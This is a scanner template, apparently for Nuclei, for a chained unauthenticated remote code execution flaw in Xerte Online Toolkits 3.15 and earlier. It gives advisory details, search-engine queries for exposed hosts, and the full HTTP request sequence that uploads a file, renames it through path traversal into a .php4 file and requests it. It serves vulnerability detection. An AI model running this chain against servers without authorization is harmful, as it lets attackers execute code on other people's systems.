id: CVE-2026-34413 info: name: Xerte Online Toolkits <= 3.15 - Remote Code Execution author: Aryu-RU severity: critical description: | Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution. impact: | An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits. remediation: | Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches. reference: - https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php - https://github.com/bootstrapbool/xerteonlinetoolkits-rce - https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527 - https://nvd.nist.gov/vuln/detail/CVE-2026-34413 - https://nvd.nist.gov/vuln/detail/CVE-2026-34414 - https://nvd.nist.gov/vuln/detail/CVE-2026-34415 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-34413 epss-score: 0.0311 epss-percentile: 0.86402 cwe-id: CWE-306 metadata: verified: true vendor: xerte product: xerte_online_toolkits shodan-query: http.title:"Xerte Online Toolkits" fofa-query: title="Xerte Online Toolkits" tags: cve,cve2026,xerte,elfinder,rce,unauth,intrusive,file-upload variables: num: "999999999" rand: "{{rand_text_alpha(8)}}" flow: | http(1); if (template["webroot"]) { http(2); if (template["authbypass"]) { for (let pid = 1; pid <= 30; pid++) { set("pid", pid); http(3); http(4); http(5); if (http(6)) { break; } } } } http: - raw: - | GET /setup/ HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: webroot part: body group: 1 regex: - '([^<]+)' internal: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "Welcome to Xerte Online Toolkits Installer")' condition: and internal: true - raw: - | GET /editor/elfinder/php/connector.php HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: authbypass part: body regex: - "Invalid upload location" internal: true matchers: - type: dsl dsl: - 'status_code == 302' - 'contains(body, "Invalid upload location")' condition: and internal: true - raw: - | GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&name={{rand}}{{pid}}&target=l1_Lw HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_all(body, "added", "hash", "name")' condition: and internal: true - raw: - | POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/ HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----xerteboundary ------xerteboundary Content-Disposition: form-data; name="cmd" upload ------xerteboundary Content-Disposition: form-data; name="target" l1_Lw ------xerteboundary Content-Disposition: form-data; name="upload[]"; filename="{{rand}}{{pid}}.txt" Content-Type: text/plain
------xerteboundary-- extractors: - type: regex name: fileid part: body group: 1 regex: - '"hash":"(l1_[^"]+)"' internal: true matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_all(body, "added", "hash", "name")' condition: and internal: true - raw: - | GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&target={{fileid}}&name={{rand}}{{pid}}/../../../../{{rand}}{{pid}}.php4 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 302' internal: true - raw: - | GET /{{rand}}{{pid}}.php4 HTTP/1.1 Host: {{Hostname}} stop-at-first-match: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")' condition: and # digest: 490a0046304402207b1352e4e082a10393e3c2b72e812be47a23246ad4074f4812a20861cec52225022033ca5fef8c8b8df5282e065c487051db5bc58978bf9e5e47f5beaaa2110a091d:922c64590222798bb761d5b6d8e72950